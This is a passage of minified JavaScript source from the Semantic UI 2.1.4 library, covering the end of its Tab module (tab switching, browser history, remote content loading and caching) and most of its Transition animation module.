$context = $('body'); } // find tabs if(settings.childrenOnly) { $tabs = $context.children(selector.tabs); module.debug('Searching tab context children for tabs', $context, $tabs); } else { $tabs = $context.find(selector.tabs); module.debug('Searching tab context for tabs', $context, $tabs); } }, fix: { callbacks: function() { if( $.isPlainObject(parameters) && (parameters.onTabLoad || parameters.onTabInit) ) { if(parameters.onTabLoad) { parameters.onLoad = parameters.onTabLoad; delete parameters.onTabLoad; module.error(error.legacyLoad, parameters.onLoad); } if(parameters.onTabInit) { parameters.onFirstLoad = parameters.onTabInit; delete parameters.onTabInit; module.error(error.legacyInit, parameters.onFirstLoad); } settings = $.extend(true, {}, $.fn.tab.settings, parameters); } } }, initializeHistory: function() { module.debug('Initializing page state'); if( $.address === undefined ) { module.error(error.state); return false; } else { if(settings.historyType == 'state') { module.debug('Using HTML5 to manage state'); if(settings.path !== false) { $.address .history(true) .state(settings.path) ; } else { module.error(error.path); return false; } } $.address .bind('change', module.event.history.change) ; } }, event: { click: function(event) { var tabPath = $(this).data(metadata.tab) ; if(tabPath !== undefined) { if(settings.history) { module.verbose('Updating page state', event); $.address.value(tabPath); } else { module.verbose('Changing tab', event); module.changeTab(tabPath); } event.preventDefault(); } else { module.debug('No tab specified'); } }, history: { change: function(event) { var tabPath = event.pathNames.join('/') || module.get.initialPath(), pageTitle = settings.templates.determineTitle(tabPath) || false ; module.performance.display(); module.debug('History change event', tabPath, event); historyEvent = event; if(tabPath !== undefined) { module.changeTab(tabPath); } if(pageTitle) { $.address.title(pageTitle); } } } }, refresh: function() { if(activeTabPath) { module.debug('Refreshing tab', activeTabPath); module.changeTab(activeTabPath); } }, cache: { read: function(cacheKey) { return (cacheKey !== undefined) ? cache[cacheKey] : false ; }, add: function(cacheKey, content) { cacheKey = cacheKey || activeTabPath; module.debug('Adding cached content for', cacheKey); cache[cacheKey] = content; }, remove: function(cacheKey) { cacheKey = cacheKey || activeTabPath; module.debug('Removing cached content for', cacheKey); delete cache[cacheKey]; } }, set: { auto: function() { var url = (typeof settings.path == 'string') ? settings.path.replace(/\/$/, '') + '/{$tab}' : '/{$tab}' ; module.verbose('Setting up automatic tab retrieval from server', url); if($.isPlainObject(settings.apiSettings)) { settings.apiSettings.url = url; } else { settings.apiSettings = { url: url }; } }, loading: function(tabPath) { var $tab = module.get.tabElement(tabPath), isLoading = $tab.hasClass(className.loading) ; if(!isLoading) { module.verbose('Setting loading state for', $tab); $tab .addClass(className.loading) .siblings($tabs) .removeClass(className.active + ' ' + className.loading) ; if($tab.length > 0) { settings.onRequest.call($tab[0], tabPath); } } }, state: function(state) { $.address.value(state); } }, changeTab: function(tabPath) { var pushStateAvailable = (window.history && window.history.pushState), shouldIgnoreLoad = (pushStateAvailable && settings.ignoreFirstLoad && firstLoad), remoteContent = (settings.auto || $.isPlainObject(settings.apiSettings) ), // only add default path if not remote content pathArray = (remoteContent && !shouldIgnoreLoad) ? module.utilities.pathToArray(tabPath) : module.get.defaultPathArray(tabPath) ; tabPath = module.utilities.arrayToPath(pathArray); $.each(pathArray, function(index, tab) { var currentPathArray = pathArray.slice(0, index + 1), currentPath = module.utilities.arrayToPath(currentPathArray), isTab = module.is.tab(currentPath), isLastIndex = (index + 1 == pathArray.length), $tab = module.get.tabElement(currentPath), $anchor, nextPathArray, nextPath, isLastTab ; module.verbose('Looking for tab', tab); if(isTab) { module.verbose('Tab was found', tab); // scope up activeTabPath = currentPath; parameterArray = module.utilities.filterArray(pathArray, currentPathArray); if(isLastIndex) { isLastTab = true; } else { nextPathArray = pathArray.slice(0, index + 2); nextPath = module.utilities.arrayToPath(nextPathArray); isLastTab = ( !module.is.tab(nextPath) ); if(isLastTab) { module.verbose('Tab parameters found', nextPathArray); } } if(isLastTab && remoteContent) { if(!shouldIgnoreLoad) { module.activate.navigation(currentPath); module.fetch.content(currentPath, tabPath); } else { module.debug('Ignoring remote content on first tab load', currentPath); firstLoad = false; module.cache.add(tabPath, $tab.html()); module.activate.all(currentPath); settings.onFirstLoad.call($tab[0], currentPath, parameterArray, historyEvent); settings.onLoad.call($tab[0], currentPath, parameterArray, historyEvent); } return false; } else { module.debug('Opened local tab', currentPath); module.activate.all(currentPath); if( !module.cache.read(currentPath) ) { module.cache.add(currentPath, true); module.debug('First time tab loaded calling tab init'); settings.onFirstLoad.call($tab[0], currentPath, parameterArray, historyEvent); } settings.onLoad.call($tab[0], currentPath, parameterArray, historyEvent); } } else if(tabPath.search('/') == -1 && tabPath !== '') { // look for in page anchor $anchor = $('#' + tabPath + ', a[name="' + tabPath + '"]'); currentPath = $anchor.closest('[data-tab]').data(metadata.tab); $tab = module.get.tabElement(currentPath); // if anchor exists use parent tab if($anchor && $anchor.length > 0 && currentPath) { module.debug('Anchor link used, opening parent tab', $tab, $anchor); if( !$tab.hasClass(className.active) ) { setTimeout(function() { module.scrollTo($anchor); }, 0); } module.activate.all(currentPath); if( !module.cache.read(currentPath) ) { module.cache.add(currentPath, true); module.debug('First time tab loaded calling tab init'); settings.onFirstLoad.call($tab[0], currentPath, parameterArray, historyEvent); } settings.onLoad.call($tab[0], currentPath, parameterArray, historyEvent); return false; } } else { module.error(error.missingTab, $module, $context, currentPath); return false; } }); }, scrollTo: function($element) { var scrollOffset = ($element && $element.length > 0) ? $element.offset().top : false ; if(scrollOffset !== false) { module.debug('Forcing scroll to an in-page link in a hidden tab', scrollOffset, $element); $(document).scrollTop(scrollOffset); } }, update: { content: function(tabPath, html, evaluateScripts) { var $tab = module.get.tabElement(tabPath), tab = $tab[0] ; evaluateScripts = (evaluateScripts !== undefined) ? evaluateScripts : settings.evaluateScripts ; if(evaluateScripts) { module.debug('Updating HTML and evaluating inline scripts', tabPath, html); $tab.html(html); } else { module.debug('Updating HTML', tabPath, html); tab.innerHTML = html; } } }, fetch: { content: function(tabPath, fullTabPath) { var $tab = module.get.tabElement(tabPath), apiSettings = { dataType : 'html', encodeParameters : false, on : 'now', cache : settings.alwaysRefresh, headers : { 'X-Remote': true }, onSuccess : function(response) { module.cache.add(fullTabPath, response); module.update.content(tabPath, response); if(tabPath == activeTabPath) { module.debug('Content loaded', tabPath); module.activate.tab(tabPath); } else { module.debug('Content loaded in background', tabPath); } settings.onFirstLoad.call($tab[0], tabPath, parameterArray, historyEvent); settings.onLoad.call($tab[0], tabPath, parameterArray, historyEvent); }, urlData: { tab: fullTabPath } }, request = $tab.api('get request') || false, existingRequest = ( request && request.state() === 'pending' ), requestSettings, cachedContent ; fullTabPath = fullTabPath || tabPath; cachedContent = module.cache.read(fullTabPath); if(settings.cache && cachedContent) { module.activate.tab(tabPath); module.debug('Adding cached content', fullTabPath); if(settings.evaluateScripts == 'once') { module.update.content(tabPath, cachedContent, false); } else { module.update.content(tabPath, cachedContent); } settings.onLoad.call($tab[0], tabPath, parameterArray, historyEvent); } else if(existingRequest) { module.set.loading(tabPath); module.debug('Content is already loading', fullTabPath); } else if($.api !== undefined) { requestSettings = $.extend(true, {}, settings.apiSettings, apiSettings); module.debug('Retrieving remote content', fullTabPath, requestSettings); module.set.loading(tabPath); $tab.api(requestSettings); } else { module.error(error.api); } } }, activate: { all: function(tabPath) { module.activate.tab(tabPath); module.activate.navigation(tabPath); }, tab: function(tabPath) { var $tab = module.get.tabElement(tabPath), isActive = $tab.hasClass(className.active) ; module.verbose('Showing tab content for', $tab); if(!isActive) { $tab .addClass(className.active) .siblings($tabs) .removeClass(className.active + ' ' + className.loading) ; if($tab.length > 0) { settings.onVisible.call($tab[0], tabPath); } } }, navigation: function(tabPath) { var $navigation = module.get.navElement(tabPath), isActive = $navigation.hasClass(className.active) ; module.verbose('Activating tab navigation for', $navigation, tabPath); if(!isActive) { $navigation .addClass(className.active) .siblings($allModules) .removeClass(className.active + ' ' + className.loading) ; } } }, deactivate: { all: function() { module.deactivate.navigation(); module.deactivate.tabs(); }, navigation: function() { $allModules .removeClass(className.active) ; }, tabs: function() { $tabs .removeClass(className.active + ' ' + className.loading) ; } }, is: { tab: function(tabName) { return (tabName !== undefined) ? ( module.get.tabElement(tabName).length > 0 ) : false ; } }, get: { initialPath: function() { return $allModules.eq(0).data(metadata.tab) || $tabs.eq(0).data(metadata.tab); }, path: function() { return $.address.value(); }, // adds default tabs to tab path defaultPathArray: function(tabPath) { return module.utilities.pathToArray( module.get.defaultPath(tabPath) ); }, defaultPath: function(tabPath) { var $defaultNav = $allModules.filter('[data-' + metadata.tab + '^="' + tabPath + '/"]').eq(0), defaultTab = $defaultNav.data(metadata.tab) || false ; if( defaultTab ) { module.debug('Found default tab', defaultTab); if(recursionDepth < settings.maxDepth) { recursionDepth++; return module.get.defaultPath(defaultTab); } module.error(error.recursion); } else { module.debug('No default tabs found for', tabPath, $tabs); } recursionDepth = 0; return tabPath; }, navElement: function(tabPath) { tabPath = tabPath || activeTabPath; return $allModules.filter('[data-' + metadata.tab + '="' + tabPath + '"]'); }, tabElement: function(tabPath) { var $fullPathTab, $simplePathTab, tabPathArray, lastTab ; tabPath = tabPath || activeTabPath; tabPathArray = module.utilities.pathToArray(tabPath); lastTab = module.utilities.last(tabPathArray); $fullPathTab = $tabs.filter('[data-' + metadata.tab + '="' + tabPath + '"]'); $simplePathTab = $tabs.filter('[data-' + metadata.tab + '="' + lastTab + '"]'); return ($fullPathTab.length > 0) ? $fullPathTab : $simplePathTab ; }, tab: function() { return activeTabPath; } }, utilities: { filterArray: function(keepArray, removeArray) { return $.grep(keepArray, function(keepValue) { return ( $.inArray(keepValue, removeArray) == -1); }); }, last: function(array) { return $.isArray(array) ? array[ array.length - 1] : false ; }, pathToArray: function(pathName) { if(pathName === undefined) { pathName = activeTabPath; } return typeof pathName == 'string' ? pathName.split('/') : [pathName] ; }, arrayToPath: function(pathArray) { return $.isArray(pathArray) ? pathArray.join('/') : false ; } }, setting: function(name, value) { module.debug('Changing setting', name, value); if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { settings[name] = value; } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { module.error(error.method, query); return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return found; } }; if(methodInvoked) { if(instance === undefined) { module.initialize(); } module.invoke(query); } else { if(instance !== undefined) { instance.invoke('destroy'); } module.initialize(); } }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; // shortcut for tabbed content with no defined navigation $.tab = function() { $(window).tab.apply(this, arguments); }; $.fn.tab.settings = { name : 'Tab', namespace : 'tab', debug : false, verbose : false, performance : true, auto : false, // uses pjax style endpoints fetching content from same url with remote-content headers history : false, // use browser history historyType : 'hash', // #/ or html5 state path : false, // base path of url context : false, // specify a context that tabs must appear inside childrenOnly : false, // use only tabs that are children of context maxDepth : 25, // max depth a tab can be nested alwaysRefresh : false, // load tab content new every tab click cache : true, // cache the content requests to pull locally ignoreFirstLoad : false, // don't load remote content on first load apiSettings : false, // settings for api call evaluateScripts : 'once', // whether inline scripts should be parsed (true/false/once). Once will not re-evaluate on cached content onFirstLoad : function(tabPath, parameterArray, historyEvent) {}, // called first time loaded onLoad : function(tabPath, parameterArray, historyEvent) {}, // called on every load onVisible : function(tabPath, parameterArray, historyEvent) {}, // called every time tab visible onRequest : function(tabPath, parameterArray, historyEvent) {}, // called ever time a tab beings loading remote content templates : { determineTitle: function(tabArray) {} // returns page title for path }, error: { api : 'You attempted to load content without API module', method : 'The method you called is not defined', missingTab : 'Activated tab cannot be found. Tabs are case-sensitive.', noContent : 'The tab you specified is missing a content url.', path : 'History enabled, but no path was specified', recursion : 'Max recursive depth reached', legacyInit : 'onTabInit has been renamed to onFirstLoad in 2.0, please adjust your code.', legacyLoad : 'onTabLoad has been renamed to onLoad in 2.0. Please adjust your code', state : 'History requires Asual\'s Address library <https://github.com/asual/jquery-address>' }, metadata : { tab : 'tab', loaded : 'loaded', promise: 'promise' }, className : { loading : 'loading', active : 'active' }, selector : { tabs : '.ui.tab', ui : '.ui' } }; })( jQuery, window , document ); /*! * # Semantic UI 2.1.4 - Transition * http://github.com/semantic-org/semantic-ui/ * * * Copyright 2015 Contributors * Released under the MIT license * http://opensource.org/licenses/MIT * */ ;(function ( $, window, document, undefined ) { "use strict"; $.fn.transition = function() { var $allModules = $(this), moduleSelector = $allModules.selector || '', time = new Date().getTime(), performance = [], moduleArguments = arguments, query = moduleArguments[0], queryArguments = [].slice.call(arguments, 1), methodInvoked = (typeof query === 'string'), requestAnimationFrame = window.requestAnimationFrame || window.mozRequestAnimationFrame || window.webkitRequestAnimationFrame || window.msRequestAnimationFrame || function(callback) { setTimeout(callback, 0); }, returnedValue ; $allModules .each(function(index) { var $module = $(this), element = this, // set at run time settings, instance, error, className, metadata, animationEnd, animationName, namespace, moduleNamespace, eventNamespace, module ; module = { initialize: function() { // get full settings settings = module.get.settings.apply(element, moduleArguments); // shorthand className = settings.className; error = settings.error; metadata = settings.metadata; // define namespace eventNamespace = '.' + settings.namespace; moduleNamespace = 'module-' + settings.namespace; instance = $module.data(moduleNamespace) || module; // get vendor specific events animationEnd = module.get.animationEndEvent(); if(methodInvoked) { methodInvoked = module.invoke(query); } // method not invoked, lets run an animation if(methodInvoked === false) { module.verbose('Converted arguments into settings object', settings); if(settings.interval) { module.delay(settings.animate); } else { module.animate(); } module.instantiate(); } }, instantiate: function() { module.verbose('Storing instance of module', module); instance = module; $module .data(moduleNamespace, instance) ; }, destroy: function() { module.verbose('Destroying previous module for', element); $module .removeData(moduleNamespace) ; }, refresh: function() { module.verbose('Refreshing display type on next animation'); delete module.displayType; }, forceRepaint: function() { module.verbose('Forcing element repaint'); var $parentElement = $module.parent(), $nextElement = $module.next() ; if($nextElement.length === 0) { $module.detach().appendTo($parentElement); } else { $module.detach().insertBefore($nextElement); } }, repaint: function() { module.verbose('Repainting element'); var fakeAssignment = element.offsetWidth ; }, delay: function(interval) { var direction = module.get.animationDirection(), shouldReverse, delay ; if(!direction) { direction = module.can.transition() ? module.get.direction() : 'static' ; } interval = (interval !== undefined) ? interval : settings.interval ; shouldReverse = (settings.reverse == 'auto' && direction == className.outward); delay = (shouldReverse || settings.reverse == true) ? ($allModules.length - index) * settings.interval : index * settings.interval ; module.debug('Delaying animation by', delay); setTimeout(module.animate, delay); }, animate: function(overrideSettings) { settings = overrideSettings || settings; if(!module.is.supported()) { module.error(error.support); return false; } module.debug('Preparing animation', settings.animation); if(module.is.animating()) { if(settings.queue) { if(!settings.allowRepeats && module.has.direction() && module.is.occurring() && module.queuing !== true) { module.debug('Animation is currently occurring, preventing queueing same animation', settings.animation); } else { module.queue(settings.animation); } return false; } else if(!settings.allowRepeats && module.is.occurring()) { module.debug('Animation is already occurring, will not execute repeated animation', settings.animation); return false; } else { module.debug('New animation started, completing previous early', settings.animation); instance.complete(); } } if( module.can.animate() ) { module.set.animating(settings.animation); } else { module.error(error.noAnimation, settings.animation, element); } }, reset: function() { module.debug('Resetting animation to beginning conditions'); module.remove.animationCallbacks(); module.restore.conditions(); module.remove.animating(); }, queue: function(animation) { module.debug('Queueing animation of', animation); module.queuing = true; $module .one(animationEnd + '.queue' + eventNamespace, function() { module.queuing = false; module.repaint(); module.animate.apply(this, settings); }) ; }, complete: function (event) { module.debug('Animation complete', settings.animation); module.remove.completeCallback(); module.remove.failSafe(); if(!module.is.looping()) { if( module.is.outward() ) { module.verbose('Animation is outward, hiding element'); module.restore.conditions(); module.hide(); } else if( module.is.inward() ) { module.verbose('Animation is outward, showing element'); module.restore.conditions(); module.show(); } else { module.restore.conditions(); } } }, force: { visible: function() { var style = $module.attr('style'), userStyle = module.get.userStyle(), displayType = module.get.displayType(), overrideStyle = userStyle + 'display: ' + displayType + ' !important;', currentDisplay = $module.css('display'), emptyStyle = (style === undefined || style === '') ; if(currentDisplay !== displayType) { module.verbose('Overriding default display to show element', displayType); $module .attr('style', overrideStyle) ; } else if(emptyStyle) { $module.removeAttr('style'); } }, hidden: function() { var style = $module.attr('style'), currentDisplay = $module.css('display'), emptyStyle = (style === undefined || style === '') ; if(currentDisplay !== 'none' && !module.is.hidden()) { module.verbose('Overriding default display to hide element'); $module .css('display', 'none') ; } else if(emptyStyle) { $module .removeAttr('style') ; } } }, has: { direction: function(animation) { var hasDirection = false ; animation = animation || settings.animation; if(typeof animation === 'string') { animation = animation.split(' '); $.each(animation, function(index, word){ if(word === className.inward || word === className.outward) { hasDirection = true; } }); } return hasDirection; }, inlineDisplay: function() { var style = $module.attr('style') || '' ; return $.isArray(style.match(/display.*?;/, '')); } }, set: { animating: function(animation) { var animationClass, direction ; // remove previous callbacks module.remove.completeCallback(); // determine exact animation animation = animation || settings.animation; animationClass = module.get.animationClass(animation); // save animation class in cache to restore class names module.save.animation(animationClass); // override display if necessary so animation appears visibly module.force.visible(); module.remove.hidden(); module.remove.direction(); module.start.animation(animationClass); }, duration: function(animationName, duration) { duration = duration || settings.duration; duration = (typeof duration == 'number') ? duration + 'ms' : duration ; if(duration || duration === 0) { module.verbose('Setting animation duration', duration); $module .css({ 'animation-duration': duration }) ; } }, direction: function(direction) { direction = direction || module.get.direction(); if(direction == className.inward) { module.set.inward(); } else { module.set.outward(); } }, looping: function() { module.debug('Transition set to loop'); $module .addClass(className.looping) ; }, hidden: function() { $module .addClass(className.transition) .addClass(className.hidden) ; }, inward: function() { module.debug('Setting direction to inward'); $module .removeClass(className.outward) .addClass(className.inward) ; }, outward: function() { module.debug('Setting direction to outward'); $module .removeClass(className.inward) .addClass(className.outward) ; }, visible: function() { $module .addClass(className.transition) .addClass(className.visible) ; } }, start: { animation: function(animationClass) { animationClass = animationClass || module.get.animationClass(); module.debug('Starting tween', animationClass); $module .addClass(animationClass) .one(animationEnd + '.complete' + eventNamespace, module.complete) ; if(settings.useFailSafe) { module.add.failSafe(); } module.set.duration(settings.duration); settings.onStart.call(element); } }, save: { animation: function(animation) { if(!module.cache) { module.cache = {}; } module.cache.animation = animation; }, displayType: function(displayType) { if(displayType !== 'none') { $module.data(metadata.displayType, displayType); } }, transitionExists: function(animation, exists) { $.fn.transition.exists[animation] = exists; module.verbose('Saving existence of transition', animation, exists); } }, restore: { conditions: function() { var animation = module.get.currentAnimation() ; if(animation) { $module .removeClass(animation) ; module.verbose('Removing animation class', module.cache); } module.remove.duration(); } }, add: { failSafe: function() { var duration = module.get.duration() ; module.timer = setTimeout(function() { $module.triggerHandler(animationEnd); }, duration + settings.failSafeDelay); module.verbose('Adding fail safe timer', module.timer); } }, remove: { animating: function() { $module.removeClass(className.animating); }, animationCallbacks: function() { module.remove.queueCallback(); module.remove.completeCallback(); }, queueCallback: function() { $module.off('.queue' + eventNamespace); }, completeCallback: function() { $module.off('.complete' + eventNamespace); }, display: function() { $module.css('display', ''); }, direction: function() { $module .removeClass(className.inward) .removeClass(className.outward) ; }, duration: function() { $module .css('animation-duration', '') ; }, failSafe: function() { module.verbose('Removing fail safe timer', module.timer); if(module.timer) { clearTimeout(module.timer); } }, hidden: function() { $module.removeClass(className.hidden); }, visible: function() { $module.removeClass(className.visible); }, looping: function() { module.debug('Transitions are no longer looping'); if( module.is.looping() ) { module.reset(); $module .removeClass(className.looping) ; } }, transition: function() { $module .removeClass(className.visible) .removeClass(className.hidden) ; } }, get: { settings: function(animation, duration, onComplete) { // single settings object if(typeof animation == 'object') { return $.extend(true, {}, $.fn.transition.settings, animation); } // all arguments provided else if(typeof onComplete == 'function') { return $.extend({}, $.fn.transition.settings, { animation : animation, onComplete : onComplete, duration : duration }); } // only duration provided else if(typeof duration == 'string' || typeof duration == 'number') { return $.extend({}, $.fn.transition.settings, { animation : animation, duration : duration }); } // duration is actually settings object else if(typeof duration == 'object') { return $.extend({}, $.fn.transition.settings, duration, { animation : animation }); } // duration is actually callback else if(typeof duration == 'function') { return $.extend({}, $.fn.transition.settings, { animation : animation, onComplete : duration }); } // only animation provided else { return $.extend({}, $.fn.transition.settings, { animation : animation }); } return $.fn.transition.settings; }, animationClass: function(animation) { var animationClass = animation || settings.animation, directionClass = (module.can.transition() && !module.has.direction()) ? module.get.direction() + ' ' : '' ; return className.animating + ' ' + className.transition + ' ' + directionClass + animationClass ; }, currentAnimation: function() { return (module.cache && module.cache.animation !== undefined) ? module.cache.animation : false ; }, currentDirection: function() { return module.is.inward() ? className.inward : className.outward ; }, direction: function() { return module.is.hidden() || !module.is.visible() ? className.inward : className.outward ; }, animationDirection: function(animation) { var direction ; animation = animation || settings.animation; if(typeof animation === 'string') { animation = animation.split(' '); // search animation name for out/in class $.each(animation, function(index, word){ if(word === className.inward) { direction = className.inward; } else if(word === className.outward) { direction = className.outward; } }); } // return found direction if(direction) { return direction; } return false; }, duration: function(duration) { duration = duration || settings.duration; if(duration === false) { duration = $module.css('animation-duration') || 0; } return (typeof duration === 'string') ? (duration.indexOf('ms') > -1) ? parseFloat(duration) : parseFloat(duration) * 1000 : duration ; }, displayType: function() { if(settings.displayType) { return settings.displayType; } if($module.data(metadata.displayType) === undefined) { // create fake element to determine display state module.can.transition(true); } return $module.data(metadata.displayType); }, userStyle: function(style) { style = style || $module.attr('style') || ''; return style.replace(/display.*?;/, ''); }, transitionExists: function(animation) { return $.fn.transition.exists[animation]; }, animationStartEvent: function() { var element = document.createElement('div'), animations = { 'animation' :'animationstart', 'OAnimation' :'oAnimationStart', 'MozAnimation' :'mozAnimationStart', 'WebkitAnimation' :'webkitAnimationStart' }, animation ; for(animation in animations){ if( element.style[animation] !== undefined ){ return animations[animation]; } } return false; }, animationEndEvent: function() { var element = document.createElement('div'), animations = { 'animation' :'animationend', 'OAnimation' :'oAnimationEnd', 'MozAnimation' :'mozAnimationEnd', 'WebkitAnimation' :'webkitAnimationEnd' }, animation ; for(animation in animations){ if( element.style[animation] !== undefined ){ return animations[animation]; } } return false; } }, can: { transition: function(forced) { var animation = settings.animation, transitionExists = module.get.transitionExists(animation), elementClass, tagName, $clone, currentAnimation, inAnimation, directionExists, displayType ; if( transitionExists === undefined || forced) { module.verbose('Determining whether animation exists'); elementClass = $module.attr('class'); tagName = $module.prop('tagName'); $clone = $('<' + tagName + ' />').addClass( elementClass ).insertAfter($module); currentAnimation = $clone .addClass(animation) .removeClass(className.inward) .removeClass(className.outward) .addClass(className.animating) .addClass(className.transition) .css('animationName') ; inAnimation = $clone .addClass(className.inward) .css('animationName') ; displayType = $clone .attr('class', elementClass) .removeAttr('style') .removeClass(className.hidden) .removeClass(className.visible) .show() .css('display') ; module.verbose('Determining final display state', displayType); module.save.displayType(displayType); $clone.remove(); if(currentAnimation != inAnimation) { module.debug('Direction exists for animation', animation); directionExists = true; } else if(currentAnimation == 'none' || !currentAnimation) { module.debug('No animation defined in css', animation); return; } else { module.debug('Static animation found', animation, displayType); directionExists = false; } module.save.transitionExists(animation, directionExists); } return (transitionExists !== undefined) ? transitionExists : directionExists ; }, animate: function() { // can transition does not return a value if animation does not exist return (module.can.transition() !== undefined); } }, is: { animating: function() { return $module.hasClass(className.animating); }, inward: function() { return $module.hasClass(className.inward); }, outward: function() { return $module.hasClass(className.outward); }, looping: function() { return $module.hasClass(className.looping); }, occurring: function(animation) { animation = animation || settings.animation; animation = '.' + animation.replace(' ', '.'); return ( $module.filter(animation).length > 0 ); }, visible: function() { return $module.is(':visible'); }, hidden: function() { return $module.css('visibility') === 'hidden'; }, supported: function() { return(animationEnd !== false); } }, hide: function() { module.verbose('Hiding element'); if( module.is.animating() ) { module.reset(); } element.blur(); // IE will trigger focus change if element is not blurred before hiding module.remove.display(); module.remove.visible(); module.set.hidden(); module.force.hidden(); settings.onHide.call(element); settings.onComplete.call(element); // module.repaint(); }, show: function(display) { module.verbose('Showing element', display); module.remove.hidden(); module.set.visible(); module.force.visible(); settings.onShow.call(element); settings.onComplete.call(element); // module.repaint(); }, toggle: function() { if( module.is.visible() ) { module.hide(); } else { module.show(); } }, stop: function() { module.debug('Stopping current animation'); $module.triggerHandler(animationEnd); }, stopAll: function() { module.debug('Stopping all animation'); module.remove.queueCallback(); $module.triggerHandler(animationEnd); }, clear: { queue: function() { module.debug('Clearing animation queue'); module.remove.queueCallback(); } }, enable: function() { module.verbose('Starting animation'); $module.removeClass(className.disabled); }, disable: function() { module.debug('Stopping animation'); $module.addClass(className.disabled); }, setting: function(name, value) { module.debug('Changing setting', name, value); if( $.isPlainObject(name) ) { $.extend(true, settings, name); } else if(value !== undefined) { settings[name] = value; } else { return settings[name]; } }, internal: function(name, value) { if( $.isPlainObject(name) ) { $.extend(true, module, name); } else if(value !== undefined) { module[name] = value; } else { return module[name]; } }, debug: function() { if(settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.debug = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.debug.apply(console, arguments); } } }, verbose: function() { if(settings.verbose && settings.debug) { if(settings.performance) { module.performance.log(arguments); } else { module.verbose = Function.prototype.bind.call(console.info, console, settings.name + ':'); module.verbose.apply(console, arguments); } } }, error: function() { module.error = Function.prototype.bind.call(console.error, console, settings.name + ':'); module.error.apply(console, arguments); }, performance: { log: function(message) { var currentTime, executionTime, previousTime ; if(settings.performance) { currentTime = new Date().getTime(); previousTime = time || currentTime; executionTime = currentTime - previousTime; time = currentTime; performance.push({ 'Name' : message[0], 'Arguments' : [].slice.call(message, 1) || '', 'Element' : element, 'Execution Time' : executionTime }); } clearTimeout(module.performance.timer); module.performance.timer = setTimeout(module.performance.display, 500); }, display: function() { var title = settings.name + ':', totalTime = 0 ; time = false; clearTimeout(module.performance.timer); $.each(performance, function(index, data) { totalTime += data['Execution Time']; }); title += ' ' + totalTime + 'ms'; if(moduleSelector) { title += ' \'' + moduleSelector + '\''; } if($allModules.length > 1) { title += ' ' + '(' + $allModules.length + ')'; } if( (console.group !== undefined || console.table !== undefined) && performance.length > 0) { console.groupCollapsed(title); if(console.table) { console.table(performance); } else { $.each(performance, function(index, data) { console.log(data['Name'] + ': ' + data['Execution Time']+'ms'); }); } console.groupEnd(); } performance = []; } }, // modified for transition to return invoke success invoke: function(query, passedArguments, context) { var object = instance, maxDepth, found, response ; passedArguments = passedArguments || queryArguments; context = element || context; if(typeof query == 'string' && object !== undefined) { query = query.split(/[\. ]/); maxDepth = query.length - 1; $.each(query, function(depth, value) { var camelCaseValue = (depth != maxDepth) ? value + query[depth + 1].charAt(0).toUpperCase() + query[depth + 1].slice(1) : query ; if( $.isPlainObject( object[camelCaseValue] ) && (depth != maxDepth) ) { object = object[camelCaseValue]; } else if( object[camelCaseValue] !== undefined ) { found = object[camelCaseValue]; return false; } else if( $.isPlainObject( object[value] ) && (depth != maxDepth) ) { object = object[value]; } else if( object[value] !== undefined ) { found = object[value]; return false; } else { return false; } }); } if ( $.isFunction( found ) ) { response = found.apply(context, passedArguments); } else if(found !== undefined) { response = found; } if($.isArray(returnedValue)) { returnedValue.push(response); } else if(returnedValue !== undefined) { returnedValue = [returnedValue, response]; } else if(response !== undefined) { returnedValue = response; } return (found !== undefined) ? found : false ; } }; module.initialize(); }) ; return (returnedValue !== undefined) ? returnedValue : this ; }; // Records if CSS transition is available $.fn.transition.exists = {}; $.fn.transition.settings = { // module info name : 'Transition', // debug content outputted to console debug : false, // verbose debug output verbose : false, // performance data output performance : true, // event namespace namespace : 'transition', // delay between animations in group interval : 0, // whether group animations should be reversed reverse : 'auto', // animation callback event onStart : function() {}, onComplete : function() {}, onShow : function() {}, onHide : function() {}, // whether timeout should be used to ensure callback fires in cases animationend does not useFailSafe : true, // delay in ms for fail safe failSafeDelay : 100, // whether EXACT animation can occur twice in a row allowRepeats : false, // Override final display type on 